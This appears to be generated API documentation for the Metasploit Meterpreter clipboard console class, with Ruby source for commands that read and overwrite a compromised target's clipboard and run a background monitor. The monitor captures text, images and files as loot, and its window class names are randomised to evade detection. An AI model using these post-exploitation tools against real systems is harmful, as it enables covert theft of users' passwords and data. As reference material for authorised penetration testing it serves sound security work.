Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Extapi::Clipboard

Inherits:

Object

Object
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Extapi::Clipboard

show all

Includes:: Extensions::Extapi, Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

Defined in:: lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb

Overview

Extended API window management user interface.

Constant Summary collapse

Klass =

Console::CommandDispatcher::Extapi::Clipboard

@@get_data_opts = Options for the clipboard_get_data command.

Rex::Parser::Arguments.new(
  '-h' => [ false, 'Help banner' ],
  '-d' => [ true, 'Download non-text content to the specified folder (default: current dir)', nil ]
)

@@set_text_opts = Options for the clipboard_set_text command.

Rex::Parser::Arguments.new(
  '-h' => [ false, 'Help banner' ]
)

@@monitor_start_opts = Options for the clipboard_monitor_start command.

Rex::Parser::Arguments.new(
  '-h' => [ false, 'Help banner' ],
  '--no-images' => [ true, 'Do not capture image content when monitoring' ]
)

@@monitor_purge_opts = Options for the clipboard_monitor_purge command.

Rex::Parser::Arguments.new(
  '-h' => [ false, 'Help banner' ]
)

@@monitor_pause_opts = Options for the clipboard_monitor_pause command.

Rex::Parser::Arguments.new(
  '-h' => [ false, 'Help banner' ]
)

@@monitor_resume_opts = Options for the clipboard_monitor_resumse command.

Rex::Parser::Arguments.new(
  '-h' => [ false, 'Help banner' ]
)

@@monitor_dump_opts = Options for the clipboard_monitor_dump command.

Rex::Parser::Arguments.new(
  '-h' => [ false, 'Help banner' ],
  '--no-images' => [ false, "Indicate if captured image data shouldn't be downloaded" ],
  '--no-files' => [ false, "Indicate if captured file data shouldn't be downloaded" ],
  '--no-purge' => [ false, "Indicate if the contents of the monitor shouldn't be purged once dumped" ],
  '-d' => [ true, 'Download non-text content to the specified folder' ],
  '--force' => [false, 'Force overwriting existing files']
)

@@monitor_stop_opts = Options for the clipboard_monitor_stop command.

Rex::Parser::Arguments.new(
  '-h' => [ false, 'Help banner' ],
  '--no-dump' => [ false, "Indicate if captured clipboard data shouldn't be dumped" ],
  '--no-images' => [ false, "Indicate if captured image data shouldn't be downloaded" ],
  '--no-files' => [ false, "Indicate if captured file data shouldn't be downloaded" ],
  '-d' => [ true, 'Download non-text content to the specified folder' ],
  '--force' => [false, 'Force overwriting existing files']
)

Constants included from Extensions::Extapi

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

#cmd_clipboard_get_data(*args) ⇒ Object

Get the data from the target’s clipboard.
#cmd_clipboard_monitor_dump(*args) ⇒ Object

Dump the clipboard monitor contents to the local machine.
#cmd_clipboard_monitor_pause(*args) ⇒ Object

Pause the clipboard monitor captured contents.
#cmd_clipboard_monitor_purge(*args) ⇒ Object

Purge the clipboard monitor captured contents.
#cmd_clipboard_monitor_resume(*args) ⇒ Object

resume the clipboard monitor captured contents.
#cmd_clipboard_monitor_start(*args) ⇒ Object

Start the clipboard monitor.
#cmd_clipboard_monitor_stop(*args) ⇒ Object

Stop the clipboard monitor.
#cmd_clipboard_set_text(*args) ⇒ Object

Set the clipboard data to the given text.
#commands ⇒ Object

List of supported commands.
#name ⇒ Object

Name for this dispatcher.
#print_clipboard_get_data_usage ⇒ Object
#print_clipboard_monitor_dump_usage ⇒ Object

Help for the clipboard_monitor_dump command.
#print_clipboard_monitor_pause_usage ⇒ Object

Help for the clipboard_monitor_pause command.
#print_clipboard_monitor_purge_usage ⇒ Object

Help for the clipboard_monitor_purge command.
#print_clipboard_monitor_resume_usage ⇒ Object

Help for the clipboard_monitor_resume command.
#print_clipboard_monitor_start_usage ⇒ Object

Help for the clipboard_monitor_start command.
#print_clipboard_monitor_stop_usage ⇒ Object

Help for the clipboard_monitor_stop command.
#print_clipboard_set_text_usage ⇒ Object

Instance Method Details

#cmd_clipboard_get_data(*args) ⇒ `Object`

Get the data from the target’s clipboard

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 76

def cmd_clipboard_get_data(*args)
  download_content = false
  download_path = nil
  @@get_data_opts.parse(args) do |opt, _idx, val|
    case opt
    when '-d'
      download_content = true
      download_path = val
    when '-h'
      print_clipboard_get_data_usage
      return true
    end
  end

  dump = client.extapi.clipboard.get_data(download_content)

  if dump.length == 0
    print_error('The current Clipboard data format is not supported.')
    return false
  end

  parse_dump(dump, download_content, download_content, download_path)
  return true
end

#cmd_clipboard_monitor_dump(*args) ⇒ `Object`

Dump the clipboard monitor contents to the local machine.

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 301

def cmd_clipboard_monitor_dump(*args)
  purge = true
  download_images = true
  download_files = true
  download_path = nil
  force_overwrite = false

  @@monitor_dump_opts.parse(args) do |opt, _idx, val|
    case opt
    when '-d'
      download_path = val
    when '--no-images'
      download_images = false
    when '--no-files'
      download_files = false
    when '--no-purge'
      purge = false
    when '--force'
      force_overwrite = true
    when '-h'
      print_clipboard_monitor_dump_usage
      return true
    end
  end

  if download_path.nil?
    print_error('You have to specify destination directory to download loot.')
    return true
  end

  # do something with dump
  dump = client.extapi.clipboard.monitor_dump({
    include_images: download_images,
    purge: false
  })

  res = parse_dump(dump, download_images, download_files, download_path, force_overwrite: force_overwrite)
  print_good('Clipboard monitor dumped')

  if !res && purge
    client.extapi.clipboard.monitor_purge
    print_good('Captured clipboard contents purged successfully')
  end
end

#cmd_clipboard_monitor_pause(*args) ⇒ `Object`

Pause the clipboard monitor captured contents

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 232

def cmd_clipboard_monitor_pause(*args)
  @@monitor_pause_opts.parse(args) do |opt, _idx, _val|
    case opt
    when '-h'
      print_clipboard_monitor_pause_usage
      return true
    end
  end
  client.extapi.clipboard.monitor_pause
  print_good('Clipboard monitor paused successfully')
end

#cmd_clipboard_monitor_purge(*args) ⇒ `Object`

Purge the clipboard monitor captured contents

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 201

def cmd_clipboard_monitor_purge(*args)
  @@monitor_purge_opts.parse(args) do |opt, _idx, _val|
    case opt
    when '-h'
      print_clipboard_monitor_purge_usage
      return true
    end
  end
  client.extapi.clipboard.monitor_purge
  print_good('Captured clipboard contents purged successfully')
end

#cmd_clipboard_monitor_resume(*args) ⇒ `Object`

resume the clipboard monitor captured contents

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 263

def cmd_clipboard_monitor_resume(*args)
  @@monitor_resume_opts.parse(args) do |opt, _idx, _val|
    case opt
    when '-h'
      print_clipboard_monitor_resume_usage
      return true
    end
  end
  client.extapi.clipboard.monitor_resume
  print_good('Clipboard monitor resumed successfully')
end

#cmd_clipboard_monitor_start(*args) ⇒ `Object`

Start the clipboard monitor.

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 158

def cmd_clipboard_monitor_start(*args)
  capture_images = true

  @@monitor_start_opts.parse(args) do |opt, _idx, _val|
    case opt
    when '--no-images'
      capture_images = false
    when '-h'
      print_clipboard_monitor_start_usage
      return true
    end
  end

  client.extapi.clipboard.monitor_start({
    # random class and window name so that it isn't easy
    # to track via a script
    wincls: Rex::Text.rand_text_alpha(8),
    cap_img: capture_images
  })

  print_good('Clipboard monitor started')
end

#cmd_clipboard_monitor_stop(*args) ⇒ `Object`

Stop the clipboard monitor.

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 372

def cmd_clipboard_monitor_stop(*args)
  dump_data = true
  download_images = true
  download_files = true
  download_path = nil
  force_overwrite = false

  @@monitor_stop_opts.parse(args) do |opt, _idx, val|
    case opt
    when '-d'
      download_path = val
    when '--no-dump'
      dump_data = false
    when '--no-images'
      download_images = false
    when '--no-files'
      download_files = false
    when '--force'
      force_overwrite = true
    when '-h'
      print_clipboard_monitor_stop_usage
      return true
    end
  end

  # you can't download stuff if you don't specify destination directory
  # todo: is there more ruby way to do this
  download_images = download_images && download_path.nil? ? false : download_images

  dump = client.extapi.clipboard.monitor_stop({
    dump: dump_data,
    include_images: download_images
  })

  parse_dump(dump, download_images, download_files, download_path, force_overwrite: force_overwrite) if dump_data

  print_good('Clipboard monitor stopped')
end

#cmd_clipboard_set_text(*args) ⇒ `Object`

Set the clipboard data to the given text.

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 118

def cmd_clipboard_set_text(*args)
  args.unshift '-h' if args.length == 0

  @@set_text_opts.parse(args) do |opt, _idx, _val|
    case opt
    when '-h'
      print_clipboard_set_text_usage
      return true
    end
  end

  return client.extapi.clipboard.set_text(args.join(' '))
end

#commands ⇒ `Object`

List of supported commands.

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 25

def commands
  all = {
    'clipboard_get_data' => "Read the target's current clipboard (text, files, images)",
    'clipboard_set_text' => "Write text to the target's clipboard",
    'clipboard_monitor_start' => 'Start the clipboard monitor',
    'clipboard_monitor_pause' => 'Pause the active clipboard monitor',
    'clipboard_monitor_resume' => 'Resume the paused clipboard monitor',
    'clipboard_monitor_dump' => 'Dump all captured clipboard content',
    'clipboard_monitor_purge' => 'Delete all captured clipboard content without dumping it',
    'clipboard_monitor_stop' => 'Stop the clipboard monitor'
  }
  reqs = {
    'clipboard_get_data' => [COMMAND_ID_EXTAPI_CLIPBOARD_GET_DATA],
    'clipboard_set_text' => [COMMAND_ID_EXTAPI_CLIPBOARD_SET_DATA],
    'clipboard_monitor_start' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_START],
    'clipboard_monitor_pause' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_PAUSE],
    'clipboard_monitor_resume' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_RESUME],
    'clipboard_monitor_dump' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_DUMP],
    'clipboard_monitor_purge' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_PURGE],
    'clipboard_monitor_stop' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_STOP]
  }
  filter_commands(all, reqs)
end

#name ⇒ `Object`

Name for this dispatcher



52
53
54

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 52

def name
  'Extapi: Clipboard Management'
end

#print_clipboard_get_data_usage ⇒ `Object`

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 64

def print_clipboard_get_data_usage
  print(
    "\nUsage: clipboard_get_data [-h] [-d]\n\n" +
    "Attempts to read the data from the target's clipboard. If the data is in a\n" +
    "supported format, it is read and returned to the user.\n" +
    @@get_data_opts.usage + "\n"
  )
end

#print_clipboard_monitor_dump_usage ⇒ `Object`

Help for the clipboard_monitor_dump command.

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 290

def print_clipboard_monitor_dump_usage
  print(
    "\nUsage: clipboard_monitor_dump [-d downloaddir] [-h]\n\n" +
    "Dump the capture clipboard contents to the local machine..\n\n" +
    @@monitor_dump_opts.usage + "\n"
  )
end

#print_clipboard_monitor_pause_usage ⇒ `Object`

Help for the clipboard_monitor_pause command.

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 223

def print_clipboard_monitor_pause_usage
  print("\nUsage: clipboard_monitor_pause [-h]\n\n" +
    "Pause the currently running clipboard monitor thread.\n\n" +
    @@monitor_pause_opts.usage + "\n")
end

#print_clipboard_monitor_purge_usage ⇒ `Object`

Help for the clipboard_monitor_purge command.

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 191

def print_clipboard_monitor_purge_usage
  print("\nUsage: clipboard_monitor_purge [-h]\n\n" +
    "Purge the captured contents from the monitor. This does not stop\n" +
    "the monitor from running, it just removes captured content.\n\n" +
    @@monitor_purge_opts.usage + "\n")
end

#print_clipboard_monitor_resume_usage ⇒ `Object`

Help for the clipboard_monitor_resume command.

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 254

def print_clipboard_monitor_resume_usage
  print("\nUsage: clipboard_monitor_resume [-h]\n\n" +
    "Resume the currently paused clipboard monitor thread.\n\n" +
    @@monitor_resume_opts.usage + "\n")
end

#print_clipboard_monitor_start_usage ⇒ `Object`

Help for the clipboard_monitor_start command.

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 143

def print_clipboard_monitor_start_usage
  print(
    "\nUsage: clipboard_monitor_start  [-h]\n\n" +
    "Starts a background clipboard monitoring thread. The thread watches\n" +
    "the clipboard on the target, under the context of the current desktop, and when\n" +
    "changes are detected the contents of the clipboard are captured. Contents can be\n" +
    "dumped periodically. Image content can be captured as well (and will be by default)\n" +
    "however this can consume quite a bit of memory.\n\n" +
    @@monitor_start_opts.usage + "\n"
  )
end

#print_clipboard_monitor_stop_usage ⇒ `Object`

Help for the clipboard_monitor_stop command.

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 361

def print_clipboard_monitor_stop_usage
  print(
    "\nUsage: clipboard_monitor_stop [-d downloaddir] [-h]\n\n" +
    "Stops a clipboard monitor thread and returns the captured data to the local machine.\n\n" +
    @@monitor_stop_opts.usage + "\n"
  )
end

#print_clipboard_set_text_usage ⇒ `Object`

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb', line 108

def print_clipboard_set_text_usage
  print(
    "\nUsage: clipboard_set_text [-h] <text>\n\n" +
    "Set the target's clipboard to the given text value.\n\n"
  )
end

Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Extapi::Clipboard

Overview

Constant Summary collapse

Constants included from Extensions::Extapi

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

Methods included from Msf::Ui::Console::CommandDispatcher::Session

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

Instance Method Details

#cmd_clipboard_get_data(*args) ⇒ Object

#cmd_clipboard_monitor_dump(*args) ⇒ Object

#cmd_clipboard_monitor_pause(*args) ⇒ Object

#cmd_clipboard_monitor_purge(*args) ⇒ Object

#cmd_clipboard_monitor_resume(*args) ⇒ Object

#cmd_clipboard_monitor_start(*args) ⇒ Object

#cmd_clipboard_monitor_stop(*args) ⇒ Object

#cmd_clipboard_set_text(*args) ⇒ Object

#commands ⇒ Object

#name ⇒ Object

#print_clipboard_get_data_usage ⇒ Object

#print_clipboard_monitor_dump_usage ⇒ Object

#print_clipboard_monitor_pause_usage ⇒ Object

#print_clipboard_monitor_purge_usage ⇒ Object

#print_clipboard_monitor_resume_usage ⇒ Object

#print_clipboard_monitor_start_usage ⇒ Object

#print_clipboard_monitor_stop_usage ⇒ Object

#print_clipboard_set_text_usage ⇒ Object